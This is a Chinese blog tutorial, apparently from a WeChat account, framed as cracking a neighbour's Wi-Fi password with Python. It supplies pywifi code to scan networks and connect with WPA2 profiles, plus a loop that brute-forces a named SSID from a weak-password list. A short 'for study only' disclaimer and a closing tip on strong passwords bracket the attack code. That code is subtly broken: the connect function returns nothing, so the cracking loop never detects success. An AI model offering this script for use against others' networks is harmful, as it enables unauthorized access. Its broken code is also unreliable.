用 Python 破解老王家的 Wi-Fi 密码,刺激!

共 4711字,需浏览 10分钟

 ·

2024-04-11 06:44

家里没网了怎么办?只要你会Python,办法总比困难多


本文利用pywifi 这个库实验一下如何破解Wi-Fi 密码,注意,先说好,该方法仅可用来研究学习所用,不可以拿去干坏事。


1. pywifi 简介


pywifi是一个Python库,它提供了对无线网络接口的控制,允许你扫描周围的无线网络,以及连接到无线网络。但请注意,这个库并不意味着可以绕过网络安全措施来非法连接网络。


2. 环境配置


在开始之前,你需要确保Python已经安装在你的计算机上,并且安装了pywifi库。你可以使用pip命令来安装pywifi:


    

        
pip install pywifi


pip install comtypes



3. 扫描周围的Wi-Fi网络


接下来,我们将展示如何使用pywifi来扫描周围的Wi-Fi网络。


    

        
from pywifi import PyWiFi, const, Profile


import time







def scan_wifi():


wifi = PyWiFi()


ifaces = wifi.interfaces()[0]


ifaces.scan()


time.sleep(1)


results = ifaces.scan_results()







for network in results:


print(f"SSID: {network.ssid}, 信号强度: {network.signal}")







scan_wifi()



这段代码将列出你周围所有Wi-Fi网络的SSID(网络名称)和信号强度。


5aeed2792d8f3885dee2b15c159c8a3b.webp




4. 连接到Wi-Fi网络


把周围所有的WIFI网络扫出来后就可以逐个的去尝试连接了。


先来封装一个函数


    

        
def connect_wifi(ssid, password):


wifi = PyWiFi()


ifaces = wifi.interfaces()[0]


ifaces.disconnect()


time.sleep(1)


assert ifaces.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]







profile = Profile()


profile.ssid = ssid


profile.auth = const.AUTH_ALG_OPEN


profile.akm.append(const.AKM_TYPE_WPA2PSK)


profile.cipher = const.CIPHER_TYPE_CCMP


profile.key = password







ifaces.remove_all_network_profiles()


tmp_profile = ifaces.add_network_profile(profile)







ifaces.connect(tmp_profile)


time.sleep(2)







if ifaces.status() == const.IFACE_CONNECTED:


print("连接成功")


else:


print("连接失败")







connect_wifi('你的网络名称', '你的密码')



这段代码尝试连接到一个指定的Wi-Fi网络。请将'你的网络名称'和'你的密码'替换为实际的网络名称和密码。


注意在代码示例中使用 sleep函数 主要是为了确保在执行网络操作(如扫描或连接)之间有足够的时间让硬件和操作系统处理这些请求。sleep会暂停当前线程指定的时间(以秒为单位),这在网络编程中尤其有用,因为许多网络操作都不是立即完成的。


然后我们在网上找一个弱口令库,用穷举法进行逐个去尝试,这种方法又称为暴力破解法


    

        
def try_pwd():


print("****************** WIFI破解 ******************")


# 密码本路径


path = "pwd.txt"


# 打开文件


file = open(path, "r")


ssid = "TP-LINK_2020"


while True:


try:


pwd = file.readline()


# 去除密码的末尾换行符


pwd = pwd.strip('\n')


bool = connect_wifi("TP-LINK_2020", pwd)


if bool:


print("[*] 密码已破解:", pwd)


print("[*] WiFi已自动连接!!!")


break


else:


# 跳出当前循环,进行下一次循环


print(f"正在破解 SSID 为 {ssid} 的 WIFI密码,当前校验的密码为:{pwd}")


except:


continue







try_pwd()




4ceba616ff6dc63e4e64168ca12416c5.webp


运气好的情况下,几分钟就破解了,如果WI-FI密码设置不复杂,特别如果是纯数字密码,使用最短8位数字,最多也就1亿种可能,这对于一台计算机来说不是什么难事,你睡一觉起来就跑完了。

所以,你家的WiFi密码一定不要设置太简单了,最好是多种字符组合,防止被隔壁老王破解了。


完整代码在公众号后台回复wifi获取


推荐阅读:



  1. Sora的第一波受害者已经出现


  2. 中国程序员,独立开发9年的软件,被Redis公司收购


  3. 公众号AI爆文写作训练营






欢迎添加微信与我交流 围观朋友圈~
浏览 26
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报